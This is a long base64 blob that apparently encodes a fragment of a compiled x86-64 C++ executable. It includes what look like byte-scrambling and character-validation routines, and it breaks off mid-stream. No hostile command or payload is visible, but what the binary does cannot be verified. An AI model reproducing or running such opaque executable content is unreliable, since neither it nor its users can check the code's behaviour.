AGgcAAAA6SD+////JQJoIABoHQAAAOkQ/v///yX6ZyAAaB4AAADpAP7///8l8mcgAGgfAAAA6fD9////JepnIABoIAAAAOng/f///yXiZyAAaCEAAADp0P3///8l2mcgAGgiAAAA6cD9////JdJnIABoIwAAAOmw/f///yXKZyAAaCQAAADpoP3///8lwmcgAGglAAAA6ZD9////JbpnIABoJgAAAOmA/f///yWyZyAAaCcAAADpcP3///8lqmcgAGgoAAAA6WD9////JaJnIABoKQAAAOlQ/f///yWaZyAAaCoAAADpQP3///8lkmcgAGgrAAAA6TD9////JYpnIABoLAAAAOkg/f///yWCZyAAaC0AAADpEP3///8lemcgAGguAAAA6QD9////JXJnIABoLwAAAOnw/P///yVqZyAAaDAAAADp4Pz///8lYmcgAGgxAAAA6dD8////JVpnIABoMgAAAOnA/P///yVSZyAAaDMAAADpsPz///8lSmcgAGg0AAAA6aD8////JUJnIABoNQAAAOmQ/P///yU6ZyAAaDYAAADpgPz///8lMmcgAGg3AAAA6XD8////JSpnIABoOAAAAOlg/P///yUiZyAAaDkAAADpUPz///8lGmcgAGg6AAAA6UD8////JRJnIABoOwAAAOkw/P///yUKZyAAaDwAAADpIPz///8lAmcgAGg9AAAA6RD8////JfpmIABoPgAAAOkA/P///yXyZiAAaD8AAADp8Pv///8l6mYgAGhAAAAA6eD7////JeJmIABoQQAAAOnQ+////yXaZiAAaEIAAADpwPv///8l0mYgAGhDAAAA6bD7////JcpmIABoRAAAAOmg+////yXCZiAAaEUAAADpkPv//zHtSYnRXkiJ4kiD5PBQVEnHwCBpQABIx8EwaUAASMfHi2NAAOhn/P//9JCQSIPsCEiLBTlkIABIhcB0Av/QSIPECMOQkJCQkJCQkJCQkJCQVUiJ5VNIg+wIgD2QZyAAAHVLuyCAYABIiwWKZyAASIHrGIBgAEjB+wNIg+sBSDnYcyRmDx9EAABIg8ABSIkFZWcgAP8UxRiAYABIiwVXZyAASDnYcuLGBUNnIAABSIPECFvJw2ZmZi4PH4QAAAAAAEiDPeBhIAAAVUiJ5XQSuAAAAABIhcB0CL8ogGAAyf/gycOQkFVIieVBVkFVQVRTSIHskAEAAEiJ+0iJtVj+//+JlVT+//++CAAAAL8QAAAA6LxGAACJwkiNhWD+//+J1kiJx+i4/P//SMdF2AAAAADrbkiLRdhIi5VY/v//SI0EAg+2AEQPtuC/MAAAAOhGSQAAQYnFvwIAAADoDUcAAEGJxkiNhWD+//9Ig8AQvsRlQABIicfoFv7//0SJ9kiJx+g7/v//RInuSInH6ED+//9EieZIicfoVfz//0iDRdgBi4VU/v//SDtF2A+XwITAdYFIidhIjZVg/v//SInWSInH6Jr9///rIonTSYnESI2FYP7//0iJx+hE/f//TIngSGPTSInH6Ib9//9IjYVg/v//SInH6Cf9//9IidhIidhIgcSQAQAAW0FcQV1BXsnDVUiJ5UFUU0iB7LABAABIib1Y/v//ibVU/v//SImVSP7//8dF5AAAAABIx0XoAAAAAOnkAAAASMdF2AAAAAC+CAAAAL8QAAAA6HVFAACJwkiNhWD+//+J1kiJx+hx+///SItF6EiDwAFIA4VY/v//D7YAD7bYSItF6EiLlVj+//9IjQQCD7YARA+24EiNhWD+//9Ig8AQvsRlQABIicfo3vz//0SJ5kiJx+jj+f//id5Iicfo2fn//0iNVdhIjYVg/v//SInWSInH6BP8//+LReRIA4VI/v//SItV2IgQg0XkAUiNhWD+//9IicfoIPz//0iDRegC6yKJ00mJxEiNhWD+//9IicfoBfz//0yJ4Ehj00iJx+hH/P//i4VU/v//SDtF6A+XwITAD4UH////SIHEsAEAAFtBXMnDVUiJ5VNIg+w4SIl9yEiLRchIicfoFUEAAEiJRdhIx0XgAAAAAMdF6AAAAADrGYtF6EiLVchImA+2BAJID77ASAFF4INF6AGDfeg7D57AhMB13EiDfdgAdQdIg33gAHVdx0XsAAAAAOtCi13si1XsidABwI0MELrJQhayicj36o0EConCwfoEicjB+B+J1inGifBrwBeJyinCidCJwUiLVchIY8OIDAKDRewBg33sOw+ewITAdbO4AAAAAOsFuAEAAABIg8Q4W8nDVUiJ5Yn4iEX8D75F/CX/AAAAycNVSInlQVRTSIHsYA0AAEiJvbjy//9IibWw8v//SIuFsPL//8YAAEiLhbjy//8PtgCEwHUKu//////pbQYAAEiNheD+//9Iicfo1v7//0iNhXD///9IicfoLff//0iNhWD///9IicfoHvf//8aFwPb//wDHRcwAAAAASI1Fj0iJx+iU+v//SI1Vj0iLjbjy//9IjUWASInOSInH6Mr4//9IjZVw////SI1FgL4AAAAASInH6KBDAADrGYnTSYnESI1FgEiJx+hP+P//TIngSGPT6w5IjUWASInH6Dv4///rHInTSYnESI1Fj0iJx+go+f//TIngSGPT6VEFAABIjUWPSInH6BH5//++CAAAAL8EAAAA6JNCAABBicRIjYVw////SInH6PD2//9IicFIjYXQ/P//RIniSInOSInH6Ej5//9IjYXQ/P//SInH6Gn6//+EwA+EqgAAAEiNhdD8//+6AgAAAL4AAAAASInH6Bj3//9IjYXQ/P//SInH6Ln2//9IicFIidBIiY2g8v//SImFqPL//0iLhaDy//9IiUWQSIuFqPL//0iJRZhIjUWQSInH6D9FAACJRcxIjYXQ/P//ugAAAAC+AAAAAEiJx+i39v//i1XMSI2NwPb//0iNhdD8//9Iic5Iicfoy/b//0iNhdD8//9IicfonPX//+noAQAASI1Fr0iJx+gL+f//SI1Vr0iLjbjy//9IjUWgSInOSInH6EH3//9IjZVw////SI1FoL4BAAAASInH6BdCAADrGYnTSYnESI1FoEiJx+jG9v//TIngSGPT6w5IjUWgSInH6LL2///rHInTSYnESI1Fr0iJx+if9///TIngSGPT6ZsDAABIjUWvSInH6Ij3//++CAAAAL8EAAAA6ApBAABBicRIjYVw////SInH6Gf1//9IicFIjYXA+v//RIniSInOSInH6L/3//9IjYXA+v//SInH6OD4//+D8AGEwHQQu/3///9BvAAAAADpyQAAAEiNhcD6//+6AgAAAL4AAAAASInH6ID1//9IjYXA+v//SInH6CH1//9IicFIidBIiY2g8v//SImFqPL//0iLhaDy//9IiUWwSIuFqPL//0iJRbhIjUWwSInH6KdDAACJRcxIjYXA+v//ugAAAAC+AAAAAEiJx+gf9f//i1XMSI2NwPb//0iNhcD6//9Iic5IicfoM/X//0iNhcD6//9IicfoBPT//0G8AQAAAOscidNJicRIjYXA+v//SInH6Mj1//9MieBIY9PrGkiNhcD6//9IicfosfX//0WF5A+EawIAAOsXSInH6A73//+7/f///+jU9v//6VICAACBfcyBAAAAdwq7/P///+k/AgAASI2FwPb//0iNlcDy//+LTcyJzkiJx+jQ+f//SIuFuPL//w+2AIhF0UiLhbjy//9Ig8ABD7YAiEXSx0XUAAAAAOtQi03Ui0XUicAPtoQFwPL//4nCMlXRiciIlAXA8v//D7ZV0Q+2RdEPr9CJ0AHAAdCNUAoPtkXSiYWc8v//idDB+h/3vZzy//+J0IhF0YNF1AGLRczR6DtF1A+XwITAdaHGRdMAx0XYAAAAAOnSAAAAx0XcAAAAAOmzAAAAx0XgAAAAAMdF5AAAAADHRegAAAAA63eLVdiJ0AHAAdABwANF6EiYD7aEBcDy//8PvsCJx+j5+v//icOLVdyJ0AHAAdABwANF6EiYD7aEBeD+//8PvsCJx+jV+v//OcMPlMCEwHQEg0XgAYtV2InQAcAB0AHAA0XoSJgPtoQFwPL//4TAdQSDReQBg0XoAYN96AUPnsCEwA+Fev///4N94AZ1DIN95AZ0BsZF0wHrE4NF3AGDfdwJD57AhMAPhT7///+DRdgBg33YCQ+ewITAD4Uf////D7ZF04PwAYTAdAq7/v///+mYAAAASI2FYP///74gakAASInH6MHx///HRew8AAAA6yWLReyJwA+2hAXA8v//D77QSI2FYP///4nWSInH6Cfy//+DRewBi0XM0eg7RewPl8CEwHXMSI2FYP///0iJx+gV8v//SInCSIuFsPL//0iJ1kiJx+gQ9P//uwAAAADrHInTSYnESI2F0Pz//0iJx+hF8///TIngSGPT6xFIjYXQ/P//SInH6C7z///rHInTSYnESI2FYP///0iJx+i48v//TIngSGPT6xFIjYVg////SInH6KHy///rIonTSYnESI2FcP///0iJx+iL8v//TIngSGPTSInH6K30//9IjYVw////SInH6G7y//+J2EiBxGANAABbQVzJw1VIieVBVFNIgezgAAAASIm9KP///4m1JP///0iJlRj///9IjUWPSInH6DL0//9IjVWPSIuNKP///0iNRYBIic5IicfoaPL//+sfidNJicRIjUWPSInH6AXz//9MieBIY9NIicfoJ/T//0iNRY9Iicfo6/L//0iLhRj////GAABIi4UY////xkAeAEiLhRj////GQEAASIuFGP///8ZASgBIi4UY////xkBoAEiLhRj////HQDwAAAAASI1VgEiNRZBIidZIicfoFPH//4uVJP///0iNRZCJ1kiJx+hvIwAAiEXPSI1FkEiJx+hx8f//6xyJ00mJxEiNRZBIicfoXvH//0yJ4Ehj0+nwBAAAD7ZFz4PwAYTAdAq7AAAAAOkOBQAASI1FgLoAAAAAvkFqQABIicfomPP//0iJRdBIi0XQSI1QAUiNRYC+QWpAAEiJx+h78///SIlF2EiLRdhIjVABSI1FgL5BakAASInH6F7z//9IiUXgSItF4EiNUAFIjUWAvkFqQABIicfoQfP//0iJRehIg33Q/3UISMdF0AAAAABIg33Y/3UISMdF2AAAAABIg33g/3UISMdF4AAAAABIg33o/3UISMdF6AAAAABIg33QAHUfSIN92AB1GEiDfeAAdRFIg33oAHUKuwAAAADpOwQAAEiNhXD///9Ii1XQSI1dgEiJ0boAAAAASIneSInH6Bnv//9IjYVw////SInH6Drv//9Ii5UY////SIPCSkiJxkiJ1+g08f//SItF0EiLVdhIidFIKcFIichIjUj/SItF0EiNUAFIjYVg////SI1dgEiJ3kiJx+jB7v//SI2FYP///0iJx+ji7v//SInCSIuFGP///0iJ1kiJx+jd8P//SItF2EiLVeBIidFIKcFIichIjUj/SItF2EiNUAFIjYVQ////SI1dgEiJ3kiJx+hq7v//SI2FUP///0iJx+iL7v//SIuVGP///0iDwh5IicZIidfohfD//0iNRYBIicfome7//0iJwkiLReBIjXABSI2FQP///0iNXYBIidFIifJIid5IicfoEu7//0iNhUD///9IicfoM+7//0iLlRj///9Ig8JoSInGSInX6C3w//9IjYVA////SInH6D7u//9IjVDxSI2FMP///0iNnUD///9IidG6DwAAAEiJ3kiJx+i57f//SI2FMP///0iJx+ja7f//SIuVGP///0iDwkBIicZIidfo1O///0iNhTD///9Iicfo5e3//0iNUP1IjUWgSI2dMP///0iJ0boDAAAASIneSInH6GPt//9IjUWgSInH6Ift//9Iicfo/+7//0iLlRj///+JQjxIjUWgSInH6Gnu///rHInTSYnESI1FoEiJx+hW7v//TIngSGPT6RgBAABIjUWwSI2dMP///7kDAAAAugAAAABIid5Iicfo++z//0iNVbBIjYUw////SInWSInH6FXw///rHInTSYnESI1FsEiJx+gC7v//TIngSGPT6cQAAABIjUWwSInH6Ovt//9IjYUw////SInH6Nzs//9Ii5UY////SIPCQEiJxkiJ1+jW7v//SI1FwEiNnUD///+5DwAAALoAAAAASIneSInH6Hbs//9IjVXASI2FQP///0iJ1kiJx+jQ7///6xmJ00mJxEiNRcBIicfofe3//0yJ4Ehj0+tCSI1FwEiJx+hp7f//SI2FQP///0iJx+ha7P//SIuVGP///0iDwmhIicZIidfoVO7//0iNhTD///9IicfoNe3//+s4idNJicRIjYUw////SInH6B/t//9MieBIY9PrAInTSYnESI2FQP///0iJx+gD7f//TIngSGPT6xFIjYVA////SInH6Ozs///rHInTSYnESI2FUP///0iJx+jW7P//TIngSGPT6xFIjYVQ////SInH6L/s///rHInTSYnESI2FYP///0iJx+ip7P//TIngSGPT6xFIjYVg////SInH6JLs///rHInTSYnESI2FcP///0iJx+h87P//TIngSGPT6xFIjYVw////SInH6GXs///rDUiJx+gr7v//6Pbt//+7AQAAAOsfidNJicRIjUWASInH6D7s//9MieBIY9NIicfoYO7//0iNRYBIicfoJOz//4nYSIHE4AAAAFtBXMnDVUiJ5UFUU0iB7PAIAABIib0Y9///SIm1EPf//0iLhRj3//8PtgCEwHUKu//////pYgQAAEiNhSD///9Iicfo3fH//0iNRbBIicfoN+r//0iLhRj3//8PtgCIRd5Ii4UY9///SIPAAQ+2AIhF38dF4AAAAADHReQAAAAA6yOLTeCLReSJwA+2hAUg////icKJyIiUBSD3//+DReABg0XkAYN95DsPlsCEwHXSx0XoAAAAAOs0i03gi0XoSAOFEPf//w+2AInCiciIlAUg9///g0XgAYtF6EgDhRD3//8PtgCEwHQRg0XoAYN96H8PlsCEwHXB6wGQx0XsAAAAAOtQi03si0XsicAPtoQFIPf//4nCMlXeiciIlAUg9///D7ZV3g+2Rd4Pr9CJ0AHAAdCNUAoPtkXfiYUM9///idDB+h/3vQz3//+J0IhF3oNF7AGLRew7ReAPksCEwHWjSI1FoItV4EiNjSD3//9Iic5IicfoRe7//0iNRc9Iicfolez//0iNVc9Ii40Y9///SI1FwEiJzkiJx+jL6v//SI1VsEiNRcC+AAAAAEiJx+ikNQAA6xmJ00mJxEiNRcBIicfoU+r//0yJ4Ehj0+sOSI1FwEiJx+g/6v//6xyJ00mJxEiNRc9IicfoLOv//0yJ4Ehj0+m8AAAASI1Fz0iJx+gV6///vhAAAAC/BAAAAOiXNAAAicNIjUWwSInH6Pjo//9IicFIjYUg/f//idpIic5Iicfocev//0iNhSD9//9IicfoMuv//4TAdFiLReABwInDSI1FoEiJx+i76P//SInBSI2FIP3//0iJ2kiJzkiJx+iT6f//SI2FIP3//0iJx+hU6v//6xyJ00mJxEiNhSD9//9IicfoDur//0yJ4Ehj0+sRSI2FIP3//0iJx+j36f//6w1IicfoLev//+j46v//SI1F3UiJx+hM6///SI1V3UiLjRj3//9IjUXQSInOSInH6ILp//9IjVWwSI1F0L4BAAAASInH6Fs0AADrGYnTSYnESI1F0EiJx+gK6f//TIngSGPT6w5IjUXQSInH6Pbo///rHInTSYnESI1F3UiJx+jj6f//TIngSGPT6fQAAABIjUXdSInH6Mzp//++Q2pAAL9ghGAA6J3o//9IjVWwSInWSInH6I7p//++XWpAAEiJx+iB6P//voAcQABIicfoFOr//74QAAAAvwQAAADoFjMAAInDSI1FsEiJx+h35///SInBSI2FIPv//4naSInOSInH6PDp//9IjYUg+///SInH6LHp//+EwHRYi0XgAcCJw0iNRaBIicfoOuf//0iJwUiNhSD7//9IidpIic5IicfoEuj//0iNhSD7//9Iicfo0+j//+scidNJicRIjYUg+///SInH6I3o//9MieBIY9PrEUiNhSD7//9Iicfoduj//+sNSInH6Kzp///od+n//7sAAAAASI1FoEiJx+jG5///6ziJ00mJxEiNRaBIicfos+f//0yJ4Ehj0+sAidNJicRIjUWwSInH6Jrn//9MieBIY9NIicfovOn//0iNRbBIicfogOf//4nYSIHE8AgAAFtBXMnDVUiJ5Yl9/Il1+IlV9IlN8ESJRexEiU3ouAEAAADJw1VIieWJffyJdfiJVfSJTfBEiUXsRIlN6ItF/IPgAYXAdSiLRfSLVfiNBAILRfyLVeyLTfCNFBExwotF6A+vRRAPr8Il/wAAAOsbi0X4D69F9ANF7ANF8ANF6ANFEAtF/CX/DwAAycNVSInliX38iXX4iVX0iU3wRIlF7ESJTei4AQAAAMnDVUiJ5Yl9/Il1+IlV9IlN8ESJRexEiU3ouAEAAADJw1VIieWJffyJdfiJVfSJTfBEiUXsRIlN6LgBAAAAycNVSInliX3siXXoxkX7AMdF/AAAAADrN4tF/EiYSMHgBIuAgGtAADtF7HUfi0X8SJhIweACSIPAAYsEhYBrQAA7Reh1BsZF+wHrDoNF/AGLRfzB6B+EwHW/D7ZF+8nDVUiJ5Yl97Il16IlV5IlN4MZF+wDHRfwAAAAA62OLRfxImEjB4ASLgIBrQAA7Rex1S4tF/EiYSMHgAkiDwAGLBIWAa0AAO0XodTKLRfxImEgBwEiDwAGLBMWAa0AAO0XkdRqLRfxImEjB4ASLgIxrQAA7ReB1BsZF+wHrDoNF/AGLRfzB6B+EwHWTD7ZF+8nDVUiJ5Yl97Il16ItV7InQweACAdABwInCwfof933oiUX0i0X0D69F6IlF9ItN9LpnZmZmicj36sH6AonIwfgfidEpwYnIiUX0i0X0i1XsidEpwYnIiUX0g0X0AYtF9GnAQEIPAIlF+ItF9GnAQEIPAIlF/ItF+ItV/InRKcGJyIP4AX4Eg0X0AYtF9MnDVUiJ5UFUU0iD7FBIifuJdayLVaxIjUWwvl9qQABIice4AAAAAOgK5f//SI1F70iJx+je5v//SInYSI1V70iNTbBIic5IicfoGOX//+sfidNJicRIjUXvSInH6LXl//9MieBIY9NIicfo1+b//0iNRe9Iicfom+X//0iJ2EiJ2EiDxFBbQVzJw1VIieVBVFNIg+xQSIn7SIl1qEiLVahIjUWwvmJqQABIice4AAAAAOiA5P//SI1F70iJx+hU5v//SInYSI1V70iNTbBIic5IicfojuT//+sfidNJicRIjUXvSInH6Cvl//9MieBIY9NIicfoTeb//0iNRe9IicfoEeX//0iJ2EiJ2EiDxFBbQVzJw1VIieVBVFNIg+wgSIn7iXXci1XcSI1F4L5nakAASInHuAAAAADo+OP//0iNRe9IicfozOX//0iJ2EiNVe9IjU3gSInOSInH6Abk///rH4nTSYnESI1F70iJx+ij5P//TIngSGPTSInH6MXl//9IjUXvSInH6Ink//9IidhIidhIg8QgW0FcycNVSInlQVVBVFNIg+woSIn7SIl1yEiJ2EiLVchIidZIicfo1OL//0iLRchIicfoeOL//4lF3OtPSItFyEiJx+hn4v//i1XcSGPSSInBSCnRSInKSInYSInWSInH6Irj//9JicSLRdyD6AFIY9BIi0XISInWSInH6G/j//8PtgBBiAQkg23cAYN93AAPn8CEwHWm6x9BidRJicVIidhIicfo1uL//0yJ6Elj1EiJx+j45P//SInYSInYSIPEKFtBXEFdycNVSInlQVRTSIPsMEiJ+0iJdciJVcREi2XESItFyEiJx+jC4f//STnED5fAhMAPhOUAAABIjUXnSInH6Hjk//9IjVXnSI1F0L4gakAASInH6LPi///rH4nTSYnESI1F50iJx+hQ4///TIngSGPTSInH6HLk//9IjUXnSInH6Dbj//9Ii0XISInH6Frh//+LVcSJ0SnBiciJRejHRewAAAAA6xVIjUXQvmpqQABIicfolOD//4NF7AGLRew7RegPnMCEwHXeSItVyEiNRdBIidZIicfoEOL//0iJ2EiNVdBIidZIicfoTuH//+sfidNJicRIjUXQSInH6Lvh//9MieBIY9NIicfo3eP//0iNRdBIicfooeH//+sSSInYSItVyEiJ1kiJx+gN4f//SInYSInYSIPEMFtBXMnDVUiJ5VNIg+woifhIiXXQiEXcx0XsAAAAAOs+i1XsSItF0EiJ1kiJx+jB4f//D7YAOkXcD5TAhMB0G4tF7EiLVdBIg8IISInGSInX6J7h//8PtgDrIoNF7AGLXexIi0XQSInH6Ebg//9IOcMPksCEwHWpuAAAAABIg8QoW8nDVUiJ5UFVQVRTSIPsWEiJ+4l1rEiJVaCJTZxEi2WcSI1FwItVrInWSInH6M/8//9IjUWwSI1NwESJ4kiJzkiJx+gE/v//6x+J00mJxEiNRcBIicfoqOD//0yJ4Ehj00iJx+jK4v//SI1FwEiJx+iO4P//SYncSI1F10iJx+h/4v//SI1F10iJwr4gakAATInn6Lvg///rHInTSYnESI1F10iJx+hY4f//TIngSGPT6YgAAABIjUXXSInH6EHh///HRdgAAAAA6z6LVdhIjUWwSInWSInH6Jbg//8PtgAPvsBIi1WgSInWicfolP7//4hF3w++Vd9IidiJ1kiJx+ju4f//g0XYAUSLZdhIjUWwSInH6Brf//9JOcQPksCEwHWo6zhBidRJicVIidhIicfozd///0yJ6Elj1OsAidNJicRIjUWwSInH6LTf//9MieBIY9NIicfo1uH//0iNRbBIicfomt///0iJ2EiJ2EiDxFhbQVxBXcnDVUiJ5UFXQVZBVUFUU0iB7JgAAABIifuJtXz///+JlXj///+JjXT///9MiYVo////TImNYP///4tFEIiFXP///0iNRaCLlXz///+J1kiJx+gh+v//SI1FoEiJx+hZ3v//SIP4BQ+WwITAdFJJidxIjUWySInH6A/h//9IjUWySInCviBqQABMiefoS9///+scidNJicRIjUWySInH6Ojf//9MieBIY9PpbgIAAEiNRbJIicfo0d///+l8AgAASI1FoL4AAAAASInH6Cvf//8PtgAPvsCD6DCJRbRIjUWgvgEAAABIicfoDt///w+2AA++wIPoMIlFuEiNRaC+AgAAAEiJx+jx3v//D7YAD77Ag+gwiUW8SI1FoL4DAAAASInH6NTe//8PtgAPvsCD6DCJRcBIjUWgvgQAAABIicfot97//w+2AA++wIPoMIlFxEiNRaC+BQAAAEiJx+ia3v//D7YAD77Ag+gwiUXITI1lkE2J5kG9AQAAAEiNRbNIicfoBeD//0iNRbNIicK+bGpAAEyJ9+hB3v//6xmJ00mJxkiNRbNIicfo3t7//0yJ8Ehj0+t+SI1Fs0iJx+jK3v//SY1WCEmD7QGLhXT///+D6AGJwEjB4ANIA4Vg////SInGSInX6CHd//+LhXT///+D6AGJwEjB4ANIA4Vo////TIsQi33IRItNxESLRcCLTbyLVbiLdbSLhXj///+JPCSJx0H/0olFzIC9XP///wB0U+s5QYnWSYnHTYXkdCO4AQAAAEwp6EjB4ANJjRwETDnjdA5Ig+sISInf6Czd///r7UyJ+Elj1umwAAAASI1FgItNGEiNVZCLdcxIicfoCfz//+sRSI1FgItVzInWSInH6OL3//9IidhIjVWASInWSInH6GTc///rGYnTSYnESI1FgEiJx+jR3P//TIngSGPT6w5IjUWASInH6L3c///rLUGJ1EmJxUiNRZBIjVgQSI1FkEg5w3QOSIPrCEiJ3+iY3P//6+lMiehJY9TrH0iNRZBMjWAQSI1FkEk5xHQtSYPsCEyJ5+hx3P//6+mJ00mJxEiNRaBIicfoXtz//0yJ4Ehj00iJx+iA3v//SI1FoEiJx+hE3P//SInYSInYSIHEmAAAAFtBXEFdQV5BX8nDVUiJ5VNIg+woSIl92EiLRdhIicfoQ9v//0iD+AMPl8CEwA+E1QAAAMdF6AAAAADrUItV6EiLRdhIidZIicfoWdz//w+2ADxAfhmLVehIi0XYSInWSInH6EDc//8PtgA8Wn4HuAEAAADrBbgAAAAAhMB0CrgAAAAA6YwAAACDRegBg33oAg+WwITAdaXHRewDAAAA602LVexIi0XYSInWSInH6PXb//8PtgA8L34Zi1XsSItF2EiJ1kiJx+jc2///D7YAPDl+B7gBAAAA6wW4AAAAAITAdAe4AAAAAOsrg0XsAYtd7EiLRdhIicfoa9r//0g5ww+SwITAdZrrB7gAAAAA6wW4AQAAAEiDxChbycNVSInlU0iD7DhIiX3YiXXUiVXQSIlNyEyJRcBIi1XYSItFyEiJ1kiJx+gu3f//x0XgAAAAAMdF5AEAAADp5gAAAItF0A+vReSD6AGJReiLXehIi0XYSInH6O/Z//9IOcMPksCEwHQmi1XoSItF2EiJ1kiJx+gT2///D7YAD77QSItFwInWSInH6H/c//+LReSLVeiJ0SnBiciDwAGJw0iLRchIicfootn//0g5ww+SwITAdCWLReSLVeiJ0SnBiciDwAGJwUiLRci6AQAAAEiJzkiJx+hj2///i0Xkg+gBicNIi0XASInH6F/Z//9IOcMPksCEwHQsi0Xkg+gBicJIi0XASInWSInH6H7a//8PtgAPvsCJReyLRewDReCD6DCJReCDReQBi0XkO0XUD5bAhMAPhQn///9Ii0XASInH6AjZ//9Ig/gED5XAhMB0YUiLRdhIicfo8dj//0iNUP9Ii0XYSInWSInH6B7a//8PtgAPvtBIi0XAidZIicfoitv//0iLRcBIicfovtj//0iNUP9Ii0XASInWSInH6OvZ//8PtgAPvsADReCD6DCJReCLReBIg8Q4W8nDVUiJ5UFUU0iD7CBIiX3YSIl10MdF4AAAAADHRewAAAAA6x+LVexIi0XYSInWSInH6J3Z//8PtgAPvsABReCDRewBi13sSItF2EiJx+hB2P//SDnDD5LAhMB1yEiLRdBIicfoK9j//0iFwA+ErQAAAEiLRdC+AAAAAEiJx+hR2f//D7YAD77YSItF0L4BAAAASInH6DrZ//8PtgAPvsABw0iLRdC+AgAAAEiJx+gh2f//D7YAD77ARI0kA0iLRdBIicfoy9f//0iD+AN2M0iLRdC+AgAAAEiJx+j02P//D7YAD77YSItF0L4DAAAASInH6N3Y//8PtgAPvsCNBAPrF0iLRdC+AgAAAEiJx+jB2P//D7YAD77AQQ+vxOsFuAAAAACJReSLReSLVeCNBAKJReiLRehIg8QgW0FcycNVSInlU0iD7DhIiX3ISIl1wMdF2AAAAADHRegAAAAA6x+LVehIi0XISInWSInH6GLY//8PtgAPvsABRdiDRegBi13oSItFyEiJx+gG1///SDnDD5LAhMB1yMdF3AAAAABIi0XASInH6OnW//9Ig/gDD5fAhMB0Q8dF7AMAAADrH4tV7EiLRcBIidZIicfoA9j//w+2AA++wAFF3INF7AGLXexIi0XASInH6KfW//9IOcMPksCEwHXI6xpIi0XAvgIAAABIicfoytf//w+2AA++wIlF3EiLRcBIicfoddb//0iFwHRQSItFwL4AAAAASInH6J/X//8PtgAPvthIi0XAvgEAAABIicfoiNf//w+2AA++wAHDSItFwL4CAAAASInH6G/X//8PtgAPvsCNBAMPr0Xc6wW4AAAAAIlF4ItF4ItV2I0EAolF5ItF5EiDxDhbycNVSInlQVRTSIHskAAAAEiJvWj///+JtWT///9Ii4Vo////ugAAAAC+fWpAAEiJx+gO2f//SIlF2EiLRdhIjVABSIuFaP///759akAASInH6O7Y//9IiUXgSIN92P90B0iDfeD/dQq7AAAAAOkiAgAASI1FsEiLVdhIi51o////SInRugAAAABIid5IicfoENX//0iLRdhIi1XgSInRSCnBSInISI1I/kiLRdhIjVACSI1FoEiLnWj///9Iid5Iicfo3dT//0iLhWj///9IicfoLtX//0iJwkiLReBIjXACSI1FkEiLnWj///9IidFIifJIid5Iicfop9T//0iNRYBIjVWgSI1NsEiJzkiJx+itIwAASI2FcP///0iNVZBIjU2gSInOSInH6JMjAABIjZVw////SI1FwEiJ1kiJx+gQ1f//SI1VgEiNRdBIidZIicfo/dT//0iNVcBIjUXQSInWSInH6EX9//+LlWT////R6g+vwolF7EiNRdBIicfoUNX//+syidNJicRIjUXQSInH6D3V//9MieBIY9PrAInTSYnESI1FwEiJx+gk1f//TIngSGPT6yBIjUXASInH6BDV//+LXexIjYVw////SInH6P7U///rNYnTSYnESI2FcP///0iJx+jo1P//TIngSGPT6wCJ00mJxEiNRYBIicfoz9T//0yJ4Ehj0+sOSI1FgEiJx+i71P//6xmJ00mJxEiNRZBIicfoqNT//0yJ4Ehj0+sOSI1FkEiJx+iU1P//6xmJ00mJxEiNRaBIicfogdT//0yJ4Ehj0+sOSI1FoEiJx+ht1P//6x+J00mJxEiNRbBIicfoWtT//0yJ4Ehj00iJx+h81v//SI1FsEiJx+hA1P//idhIgcSQAAAAW0FcycNVSInlQVRTSIHskAAAAEiJfYhIiXWASImVeP///0iJjXD///9MiYVo////SIuFaP///7oAAAAAvkFqQABIicfoXtb//0iJRdBIi0XQSI1QAUiLhWj///++QWpAAEiJx+g+1v//SIlF2EiLRdhIjVABSIuFaP///75BakAASInH6B7W//9IiUXgSItF4EiNUAFIi4Vo////vkFqQABIicfo/tX//0iJRehIg33Q/3UISMdF0AAAAABIg33Y/3UISMdF2AAAAABIg33g/3UISMdF4AAAAABIg33o/3UISMdF6AAAAABIg33QAHUfSIN92AB1GEiDfeAAdRFIg33oAHUKuAAAAADpyQEAAEiNRZBIi1XQSIudaP///0iJ0boAAAAASIneSInH6NbR//9IjVWQSItFiEiJ1kiJx+gz1f//6x+J00mJxEiNRZBIicfo4NL//0yJ4Ehj00iJx+gC1f//SI1FkEiJx+jG0v//SItF0EiLVdhIidFIKcFIichIjUj/SItF0EiNUAFIjUWgSIudaP///0iJ3kiJx+hj0f//SI1VoEiLRYBIidZIicfowNT//+sfidNJicRIjUWgSInH6G3S//9MieBIY9NIicfoj9T//0iNRaBIicfoU9L//0iLRdhIi1XgSInRSCnBSInISI1I/0iLRdhIjVABSI1FsEiLnWj///9Iid5Iicfo8ND//0iNVbBIi4V4////SInWSInH6ErU///rH4nTSYnESI1FsEiJx+j30f//TIngSGPTSInH6BnU//9IjUWwSInH6N3R//9Ii4Vo////SInH6P7Q//9IicJIi0XgSI1wAUiNRcBIi51o////SInRSInySIneSInH6HfQ//9IjVXASIuFcP///0iJ1kiJx+jR0///6x+J00mJxEiNRcBIicfoftH//0yJ4Ehj00iJx+ig0///SI1FwEiJx+hk0f//uAEAAABIgcSQAAAAW0FcycNVSInlQVdBVkFVQVRTSIPseEiJvXj///+JtXT////pzAAAAEiNRb5IicfoJNP//0iNVb5IjUWwvmpqQABIicfoX9H//0iNRaBIi5V4////SI1NsEiJzkiJx+jiHgAASI1VoEiLhXj///9IidZIicfoH9P//+sZidNJicRIjUWgSInH6MzQ//9MieBIY9PrDkiNRaBIicfouND//+sZidNJicRIjUWwSInH6KXQ//9MieBIY9PrDkiNRbBIicfokdD//+sfidNJicRIjUW+SInH6H7R//9MieBIY9NIicfooNL//0iNRb5IicfoZNH//0iLhXj///9Iicfohc///0iD+AkPlsCEwA+FFv///0iLhXj///9IicfoZ8///0iJw0iNQwFIweADSInH6DTP//9JicRMieBIiRhMieBMjWgITYnvSI1D/0mJxusQTIn/6HDO//9Jg8cISYPuAUmD/v8PlcCEwHXl61dBiddIiYVo////TYXtdCNIjUP/TCnwSMHgA0mNXAUATDnrdA5Ig+sISInf6LvP///r7UiLhWj///9JY9eJ00mJxUyJ5+ji0P//TInoSGPTSInH6MTR//9MieBIg8AISIlFwMdFyP/////HRcwAAAAA6e0AAACLjXT///+LRcy6AAAAAPfxidCFwHUZg0XIAYtFyEiYSMHgA0gDRcBIicfo983//2bHRZAAAItVzEiLhXj///9IidZIicfonM///w+2AIhFkEiNRb9IicfoGtH//0iNVb9IjU2QSI1FgEiJzkiJx+hTz///6x+J00mJxEiNRb9Iicfo8M///0yJ4Ehj00iJx+gS0f//SI1Fv0iJx+jWz///i0XISJhIweADSANFwEiNVYBIidZIicfo6s7//+sfidNJicRIjUWASInH6KfO//9MieBIY9NIicfoydD//0iNRYBIicfojc7//4NFzAGLXcxIi4V4////SInH6KfN//9IOcMPks